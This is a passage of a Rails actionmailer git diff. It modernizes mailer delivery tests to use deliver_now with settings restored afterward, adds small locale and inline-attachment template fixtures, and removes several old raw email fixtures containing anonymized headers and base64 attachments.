+      DeliveryMailer.welcome.deliver_now
+    end
+  end
+
+  test "undefined delivery methods raises errors" do
+    DeliveryMailer.delivery_method = nil
+    assert_raise RuntimeError do
+      DeliveryMailer.welcome.deliver_now
     end
   end
 
   test "does not perform deliveries if requested" do
-    DeliveryMailer.perform_deliveries = false
-    DeliveryMailer.deliveries.clear
-    Mail::Message.any_instance.expects(:deliver!).never
-    DeliveryMailer.welcome.deliver
+    old_perform_deliveries = DeliveryMailer.perform_deliveries
+    begin
+      DeliveryMailer.perform_deliveries = false
+      Mail::Message.any_instance.expects(:deliver!).never
+      DeliveryMailer.welcome.deliver_now
+    ensure
+      DeliveryMailer.perform_deliveries = old_perform_deliveries
+    end
   end
 
   test "does not append the deliveries collection if told not to perform the delivery" do
-    DeliveryMailer.perform_deliveries = false
-    DeliveryMailer.deliveries.clear
-    DeliveryMailer.welcome.deliver
-    assert_equal(0, DeliveryMailer.deliveries.length)
+    old_perform_deliveries = DeliveryMailer.perform_deliveries
+    begin
+      DeliveryMailer.perform_deliveries = false
+      DeliveryMailer.welcome.deliver_now
+      assert_equal [], DeliveryMailer.deliveries
+    ensure
+      DeliveryMailer.perform_deliveries = old_perform_deliveries
+    end
   end
 
   test "raise errors on bogus deliveries" do
     DeliveryMailer.delivery_method = BogusDelivery
-    DeliveryMailer.deliveries.clear
     assert_raise RuntimeError do
-      DeliveryMailer.welcome.deliver
+      DeliveryMailer.welcome.deliver_now
     end
   end
 
   test "does not increment the deliveries collection on error" do
     DeliveryMailer.delivery_method = BogusDelivery
-    DeliveryMailer.deliveries.clear
     assert_raise RuntimeError do
-      DeliveryMailer.welcome.deliver
+      DeliveryMailer.welcome.deliver_now
     end
-    assert_equal(0, DeliveryMailer.deliveries.length)
+    assert_equal [], DeliveryMailer.deliveries
   end
 
   test "does not raise errors on bogus deliveries if set" do
-    DeliveryMailer.delivery_method = BogusDelivery
-    DeliveryMailer.raise_delivery_errors = false
-    assert_nothing_raised do
-      DeliveryMailer.welcome.deliver
+    old_raise_delivery_errors = DeliveryMailer.raise_delivery_errors
+    begin
+      DeliveryMailer.delivery_method = BogusDelivery
+      DeliveryMailer.raise_delivery_errors = false
+      assert_nothing_raised do
+        DeliveryMailer.welcome.deliver_now
+      end
+    ensure
+      DeliveryMailer.raise_delivery_errors = old_raise_delivery_errors
     end
   end
 
   test "does not increment the deliveries collection on bogus deliveries" do
-    DeliveryMailer.delivery_method = BogusDelivery
-    DeliveryMailer.raise_delivery_errors = false
-    DeliveryMailer.deliveries.clear
-    DeliveryMailer.welcome.deliver
-    assert_equal(0, DeliveryMailer.deliveries.length)
+    old_raise_delivery_errors = DeliveryMailer.raise_delivery_errors
+    begin
+      DeliveryMailer.delivery_method = BogusDelivery
+      DeliveryMailer.raise_delivery_errors = false
+      DeliveryMailer.welcome.deliver_now
+      assert_equal [], DeliveryMailer.deliveries
+    ensure
+      DeliveryMailer.raise_delivery_errors = old_raise_delivery_errors
+    end
   end
-
 end
diff --git a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
index 30466dd005..d676a6d2da 100644
--- a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
+++ b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
@@ -1 +1 @@
-<%= t('.greet_user', :name => 'lifo') %>
\ No newline at end of file
+<%= t('.greet_user', name: 'lifo') %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de-AT.text.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de-AT.text.erb
new file mode 100644
index 0000000000..e97505fad9
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de-AT.text.erb
@@ -0,0 +1 @@
+Implicit with locale DE-AT TEXT
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de.html.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de.html.erb
new file mode 100644
index 0000000000..0536b5d3e2
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.de.html.erb
@@ -0,0 +1 @@
+Implicit with locale DE HTML
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb b/actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb
new file mode 100644
index 0000000000..6decd3bb31
--- /dev/null
+++ b/actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb
@@ -0,0 +1,7 @@
+<h1>Adding an inline image while rendering</h1>
+
+<% controller.attachments.inline["controller_attachments.jpg"] = 'via controller.attachments.inline' %>
+<%= image_tag attachments['controller_attachments.jpg'].url %>
+
+<% attachments.inline["attachments.jpg"] = 'via attachments.inline' %>
+<%= image_tag attachments['attachments.jpg'].url %>
diff --git a/actionmailer/test/fixtures/raw_email10 b/actionmailer/test/fixtures/raw_email10
deleted file mode 100644
index edad5ccff1..0000000000
--- a/actionmailer/test/fixtures/raw_email10
+++ /dev/null
@@ -1,20 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-Content-Type: text/plain; charset=X-UNKNOWN
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service.
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email12 b/actionmailer/test/fixtures/raw_email12
deleted file mode 100644
index 2cd31720d3..0000000000
--- a/actionmailer/test/fixtures/raw_email12
+++ /dev/null
@@ -1,32 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
-	charset=ISO-8859-1;
-	delsp=yes;
-	format=flowed
-
-This is the first part.
-
---Apple-Mail-13-196941151
-Content-Type: image/jpeg
-Content-Transfer-Encoding: base64
-Content-Location: Photo25.jpg
-Content-ID: <qbFGyPQAS8>
-Content-Disposition: inline
-
-jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
-ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
-QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
-gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
-
---Apple-Mail-13-196941151--
-
diff --git a/actionmailer/test/fixtures/raw_email13 b/actionmailer/test/fixtures/raw_email13
deleted file mode 100644
index 7d9314e36a..0000000000
--- a/actionmailer/test/fixtures/raw_email13
+++ /dev/null
@@ -1,29 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
-	charset=ISO-8859-1;
-	delsp=yes;
-	format=flowed
-
-This is the first part.
-
---Apple-Mail-13-196941151
-Content-Type: text/x-ruby-script; name="hello.rb"
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment;
-	filename="api.rb"
-
-puts "Hello, world!"
-gets
-
---Apple-Mail-13-196941151--
-
diff --git a/actionmailer/test/fixtures/raw_email2 b/actionmailer/test/fixtures/raw_email2
deleted file mode 100644
index 9f87bb2a98..0000000000
--- a/actionmailer/test/fixtures/raw_email2
+++ /dev/null
@@ -1,114 +0,0 @@
-From xxxxxxxxx.xxxxxxx@gmail.com Sun May  8 19:07:09 2005
-Return-Path: <xxxxxxxxx.xxxxxxx@gmail.com>
-X-Original-To: xxxxx@xxxxx.xxxxxxxxx.com
-Delivered-To: xxxxx@xxxxx.xxxxxxxxx.com
-Received: from localhost (localhost [127.0.0.1])
-	by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 06C9DA98D
-	for <xxxxx@xxxxx.xxxxxxxxx.com>; Sun,  8 May 2005 19:09:13 +0000 (GMT)
-Received: from xxxxx.xxxxxxxxx.com ([127.0.0.1])
- by localhost (xxxxx.xxxxxxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
- with LMTP id 88783-08 for <xxxxx@xxxxx.xxxxxxxxx.com>;
- Sun,  8 May 2005 19:09:12 +0000 (GMT)
-Received: from xxxxxxx.xxxxxxxxx.com (xxxxxxx.xxxxxxxxx.com [69.36.39.150])
-	by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 10D8BA960
-	for <xxxxx@xxxxxxxxx.org>; Sun,  8 May 2005 19:09:12 +0000 (GMT)
-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.199])
-	by xxxxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 9EBC4148EAB
-	for <xxxxx@xxxxxxxxx.com>; Sun,  8 May 2005 14:09:11 -0500 (CDT)
-Received: by zproxy.gmail.com with SMTP id 13so1233405nzp
-        for <xxxxx@xxxxxxxxx.com>; Sun, 08 May 2005 12:09:11 -0700 (PDT)
-DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
-        s=beta; d=gmail.com;
-        h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references;
-        b=cid1mzGEFa3gtRa06oSrrEYfKca2CTKu9sLMkWxjbvCsWMtp9RGEILjUz0L5RySdH5iO661LyNUoHRFQIa57bylAbXM3g2DTEIIKmuASDG3x3rIQ4sHAKpNxP7Pul+mgTaOKBv+spcH7af++QEJ36gHFXD2O/kx9RePs3JNf/K8=
-Received: by 10.36.10.16 with SMTP id 16mr1012493nzj;
-        Sun, 08 May 2005 12:09:11 -0700 (PDT)
-Received: by 10.36.5.10 with HTTP; Sun, 8 May 2005 12:09:11 -0700 (PDT)
-Message-ID: <e85734b90505081209eaaa17b@mail.gmail.com>
-Date: Sun, 8 May 2005 14:09:11 -0500
-From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-To: xxxxx xxxx <xxxxx@xxxxxxxxx.com>
-Subject: Fwd: Signed email causes file attachments
-In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-Mime-Version: 1.0
-Content-Type: multipart/mixed;
-	boundary="----=_Part_5028_7368284.1115579351471"
-References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-We should not include these files or vcards as attachments.
-
----------- Forwarded message ----------
-From: xxxxx xxxxxx <xxxxxxxx@xxx.com>
-Date: May 8, 2005 1:17 PM
-Subject: Signed email causes file attachments
-To: xxxxxxx@xxxxxxxxxx.com
-
-
-Hi,
-
-Just started to use my xxxxxxxx account (to set-up a GTD system,
-natch) and noticed that when I send content via email the signature/
-certificate from my email account gets added as a file (e.g.
-"smime.p7s").
-
-Obviously I can uncheck the signature option in the Mail compose
-window but how often will I remember to do that?
-
-Is there any way these kind of files could be ignored, e.g. via some
-sort of exclusions list?
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: application/pkcs7-signature; name=smime.p7s
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment; filename="smime.p7s"
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
-ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
-d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
-YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
-ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
-MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
-7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
-o8xS3A0a1LXealcmlEbJibmKkEaoXci3MhryLgpaa+Kk/sH02SNatDO1vS28bPsibZpcc6deFrla
-hSYnL+PW54mDTGHIcCN2fbx/Y6qspzqmtKaXrv75NBtuy9cB6KzU4j2xXbTkAwz3pRSghJJaAwdp
-+yIivAD3vr0kJE3p+Ez34HMh33EXEpFoWcN+MCEQZD9WnmFViMrvfvMXLGVFQfAAcC060eGFSRJ1
-ZQ9UVQIDAQABoy0wKzAbBgNVHREEFDASgRBzbWhhdW5jaEBtYWMuY29tMAwGA1UdEwEB/wQCMAAw
-DQYJKoZIhvcNAQEEBQADgYEAQMrg1n2pXVWteP7BBj+Pk3UfYtbuHb42uHcLJjfjnRlH7AxnSwrd
-L3HED205w3Cq8T7tzVxIjRRLO/ljq0GedSCFBky7eYo1PrXhztGHCTSBhsiWdiyLWxKlOxGAwJc/
-lMMnwqLOdrQcoF/YgbjeaUFOQbUh94w9VDNpWZYCZwcwggM/MIICqKADAgECAgENMA0GCSqGSIb3
-DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlD
-YXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0
-aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwg
-Q0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3
-MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENv
-bnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElz
-c3VpbmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMSmPFVzVftOucqZWh5owHUEcJ3f
-6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow1wJjWiyJFXCO3cnwK4Vaqj9xVsuvPAsH5/EfkTYk
-KhPPK9Xzgnc9A74r/rsYPge/QIACZNenprufZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7AgMBAAGj
-gZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsLnRo
-YXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVlbWFpbENBLmNybDALBgNVHQ8EBAMCAQYwKQYDVR0R
-BCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDItMTM4MA0GCSqGSIb3DQEBBQUAA4GBAEiM
-0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0whuPg2H6otnzYvwPQcUCCTcDz9reFhYsPZOhl+hLGZ
-GwDFGguCdJ4lUJRix9sncVcljd2pnDmOjCBPZV+V2vf3h9bGCE6u9uo05RAaWzVNd+NWIXiC3CEZ
-Nd4ksdMdRv9dX2VPMYIC5zCCAuMCAQEwaTBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3Rl
-IENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWls
-IElzc3VpbmcgQ0ECAw5c+TAJBgUrDgMCGgUAoIIBUzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcB
-MBwGCSqGSIb3DQEJBTEPFw0wNTA1MDgxODE3NDZaMCMGCSqGSIb3DQEJBDEWBBQSkG9j6+hB0pKp
-fV9tCi/iP59sNTB4BgkrBgEEAYI3EAQxazBpMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
-dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
-aWwgSXNzdWluZyBDQQIDDlz5MHoGCyqGSIb3DQEJEAILMWugaTBiMQswCQYDVQQGEwJaQTElMCMG
-A1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNv
-bmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAw5c+TANBgkqhkiG9w0BAQEFAASCAQAm1GeF7dWfMvrW
-8yMPjkhE+R8D1DsiCoWSCp+5gAQm7lcK7V3KrZh5howfpI3TmCZUbbaMxOH+7aKRKpFemxoBY5Q8
-rnCkbpg/++/+MI01T69hF/rgMmrGcrv2fIYy8EaARLG0xUVFSZHSP+NQSYz0TTmh4cAESHMzY3JA
-nHOoUkuPyl8RXrimY1zn0lceMXlweZRouiPGuPNl1hQKw8P+GhOC5oLlM71UtStnrlk3P9gqX5v7
-Tj7Hx057oVfY8FMevjxGwU3EK5TczHezHbWWgTyum9l2ZQbUQsDJxSniD3BM46C1VcbDLPaotAZ0
-fTYLZizQfm5hcWEbfYVzkSzLAAAAAAAA
-------=_Part_5028_7368284.1115579351471--
-
diff --git a/actionmailer/test/fixtures/raw_email3 b/actionmailer/test/fixtures/raw_email3
deleted file mode 100644
index 3a0927490a..0000000000
--- a/actionmailer/test/fixtures/raw_email3
+++ /dev/null
@@ -1,70 +0,0 @@
-From xxxx@xxxx.com Tue May 10 11:28:07 2005
-Return-Path: <xxxx@xxxx.com>
-X-Original-To: xxxx@xxxx.com
-Delivered-To: xxxx@xxxx.com
-Received: from localhost (localhost [127.0.0.1])
-	by xxx.xxxxx.com (Postfix) with ESMTP id 50FD3A96F
-	for <xxxx@xxxx.com>; Tue, 10 May 2005 17:26:50 +0000 (GMT)
-Received: from xxx.xxxxx.com ([127.0.0.1])
- by localhost (xxx.xxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
- with LMTP id 70060-03 for <xxxx@xxxx.com>;
- Tue, 10 May 2005 17:26:49 +0000 (GMT)
-Received: from xxx.xxxxx.com (xxx.xxxxx.com [69.36.39.150])
-	by xxx.xxxxx.com (Postfix) with ESMTP id 8B957A94B
-	for <xxxx@xxxx.com>; Tue, 10 May 2005 17:26:48 +0000 (GMT)
-Received: from xxx.xxxxx.com (xxx.xxxxx.com [64.233.184.203])
-	by xxx.xxxxx.com (Postfix) with ESMTP id 9972514824C
-	for <xxxx@xxxx.com>; Tue, 10 May 2005 12:26:40 -0500 (CDT)
-Received: by xxx.xxxxx.com with SMTP id 68so1694448wri
-        for <xxxx@xxxx.com>; Tue, 10 May 2005 10:26:40 -0700 (PDT)
-DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
-        s=beta; d=xxxxx.com;
-        h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type;
-        b=g8ZO5ttS6GPEMAz9WxrRk9+9IXBUfQIYsZLL6T88+ECbsXqGIgfGtzJJFn6o9CE3/HMrrIGkN5AisxVFTGXWxWci5YA/7PTVWwPOhJff5BRYQDVNgRKqMl/SMttNrrRElsGJjnD1UyQ/5kQmcBxq2PuZI5Zc47u6CILcuoBcM+A=
-Received: by 10.54.96.19 with SMTP id t19mr621017wrb;
-        Tue, 10 May 2005 10:26:39 -0700 (PDT)
-Received: by 10.54.110.5 with HTTP; Tue, 10 May 2005 10:26:39 -0700 (PDT)
-Message-ID: <xxxx@xxxx.com>
-Date: Tue, 10 May 2005 11:26:39 -0600
-From: Test Tester <xxxx@xxxx.com>
-Reply-To: Test Tester <xxxx@xxxx.com>
-To: xxxx@xxxx.com, xxxx@xxxx.com
-Subject: Another PDF
-Mime-Version: 1.0
-Content-Type: multipart/mixed;
-	boundary="----=_Part_2192_32400445.1115745999735"
-X-Virus-Scanned: amavisd-new at textdrive.com
-
-------=_Part_2192_32400445.1115745999735
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-Just attaching another PDF, here, to see what the message looks like,
-and to see if I can figure out what is going wrong here.
-
-------=_Part_2192_32400445.1115745999735
-Content-Type: application/pdf; name="broken.pdf"
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment; filename="broken.pdf"
-
-JVBERi0xLjQNCiXk9tzfDQoxIDAgb2JqDQo8PCAvTGVuZ3RoIDIgMCBSDQogICAvRmlsdGVyIC9G
-bGF0ZURlY29kZQ0KPj4NCnN0cmVhbQ0KeJy9Wt2KJbkNvm/od6jrhZxYln9hWEh2p+8HBvICySaE
-ycLuTV4/1ifJ9qnq09NpSBimu76yLUuy/qzqcPz7+em3Ixx/CDc6CsXxs3b5+fvfjr/8cPz6/BRu
-rbfAx/n3739/fuJylJ5u5fjX81OuDr4deK4Bz3z/aDP+8fz0yw8g0Ofq7ktr1Mn+u28rvhy/jVeD
-QSa+9YNKHP/pxjvDNfVAx/m3MFz54FhvTbaseaxiDoN2LeMVMw+yA7RbHSCDzxZuaYB2E1Yay7QU
-x89vz0+tyFDKMlAHK5yqLmnjF+c4RjEiQIUeKwblXMe+AsZjN1J5yGQL5DHpDHksurM81rF6PKab
-gK6zAarIDzIiUY23rJsN9iorAE816aIu6lsgAdQFsuhhkHOUFgVjp2GjMqSewITXNQ27jrMeamkg
-1rPI3iLWG2CIaSBB+V1245YVRICGbbpYKHc2USFDl6M09acQVQYhlwIrkBNLISvXhGlF1wi5FHCw
-wxZkoGNJlVeJCEsqKA+3YAV5AMb6KkeaqEJQmFKKQU8T1pRi2ihE1Y4CDrqoYFFXYjJJOatsyzuI
-8SIlykuxKTMibWK8H1PgEvqYgs4GmQSrEjJAalgGirIhik+p4ZQN9E3ETFPAHE1b8pp1l/0Rc1gl
-fQs0ABWvyoZZzU8VnPXwVVcO9BEsyjEJaO6eBoZRyKGlrKoYoOygA8BGIzgwN3RQ15ouigG5idZQ
-fx2U4Db2CqiLO0WHAZoylGiCAqhniNQjFjQPSkmjwfNTgQ6M1Ih+eWo36wFmjIxDJZiGUBiWsAyR
-xX3EekGOizkGI96Ol9zVZTAivikURhRsHh2E3JhWMpSTZCnnonrLhMCodgrNcgo4uyJUJc6qnVss
-nrGd1Ptr0YwisCOYyIbUwVjV4xBUNLbguSO2YHujonAMJkMdSI7bIw91Akq2AUlMUWGFTMAOamjU
-OvZQCxIkY2pCpMFo/IwLdVLHs6nddwTRrgoVbvLU9eB0G4EMndV0TNoxHbt3JBWwK6hhv3iHfDtF
-yokB302IpEBTnWICde4uYc/1khDbSIkQopO6lcqamGBu1OSE3N5IPSsZX00CkSHRiiyx6HQIShsS
-HSVNswdVsaOUSAWq9aYhDtGDaoG5a3lBGkYt/lFlBFt1UqrYnzVtUpUQnLiZeouKgf1KhRBViRRk
-ExepJCzTwEmFDalIRbLEGtw0gfpESOpIAF/NnpPzcVCG86s0g2DuSyd41uhNGbEgaSrWEXORErbw
-------=_Part_2192_32400445.1115745999735--
-
diff --git a/actionmailer/test/fixtures/raw_email4 b/actionmailer/test/fixtures/raw_email4
deleted file mode 100644
index 639ad40e49..0000000000
--- a/actionmailer/test/fixtures/raw_email4
+++ /dev/null
@@ -1,59 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id 6AAEE3B4D23 for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:23 -0500
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id j48HUC213279 for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:13 -0500
-Received: from conversion-xxx.xxxx.xxx.net by xxx.xxxx.xxx id <0IG600901LQ64I@xxx.xxxx.xxx> for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
-Received: from agw1 by xxx.xxxx.xxx with ESMTP id <0IG600JFYLYCAxxx@xxxx.xxx> for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
-Date: Sun, 8 May 2005 12:30:08 -0500
-From: xxx@xxxx.xxx
-To: xxx@xxxx.xxx
-Message-Id: <7864245.1115573412626.JavaMxxx@xxxx.xxx>
-Subject: Filth
-Mime-Version: 1.0
-Content-Type: multipart/mixed; boundary=mimepart_427e4cb4ca329_133ae40413c81ef
-X-Mms-Priority: 1
-X-Mms-Transaction-Id: 3198421808-0
-X-Mms-Message-Type: 0
-X-Mms-Sender-Visibility: 1
-X-Mms-Read-Reply: 1
-X-Original-To: xxx@xxxx.xxx
-X-Mms-Message-Class: 0
-X-Mms-Delivery-Report: 0
-X-Mms-Mms-Version: 16
-Delivered-To: xxx@xxxx.xxx
-X-Nokia-Ag-Version: 2.0
-
-This is a multi-part message in MIME format.
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-Content-Type: multipart/mixed; boundary=mimepart_427e4cb4cbd97_133ae40413c8217
-
-
-
---mimepart_427e4cb4cbd97_133ae40413c8217
-Content-Type: text/plain; charset=utf-8
-Content-Transfer-Encoding: 7bit
-Content-Disposition: inline
-Content-Location: text.txt
-
-Some text
-
---mimepart_427e4cb4cbd97_133ae40413c8217--
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-Content-Type: text/plain; charset=us-ascii
-Content-Transfer-Encoding: 7bit
-
-
---
-This Orange Multi Media Message was sent wirefree from an Orange
-MMS phone. If you would like to reply, please text or phone the
-sender directly by using the phone number listed in the sender's
-address. To learn more about Orange's Multi Media Messaging
-Service, find us on the Web at xxx.xxxx.xxx.uk/mms
-
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-
-
---mimepart_427e4cb4ca329_133ae40413c81ef-
-
diff --git a/actionmailer/test/fixtures/raw_email5 b/actionmailer/test/fixtures/raw_email5
deleted file mode 100644
index bbe31bcdc5..0000000000
--- a/actionmailer/test/fixtures/raw_email5
+++ /dev/null
@@ -1,19 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service.
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email6 b/actionmailer/test/fixtures/raw_email6
deleted file mode 100644
index 8e37bd7392..0000000000
--- a/actionmailer/test/fixtures/raw_email6
+++ /dev/null
@@ -1,20 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
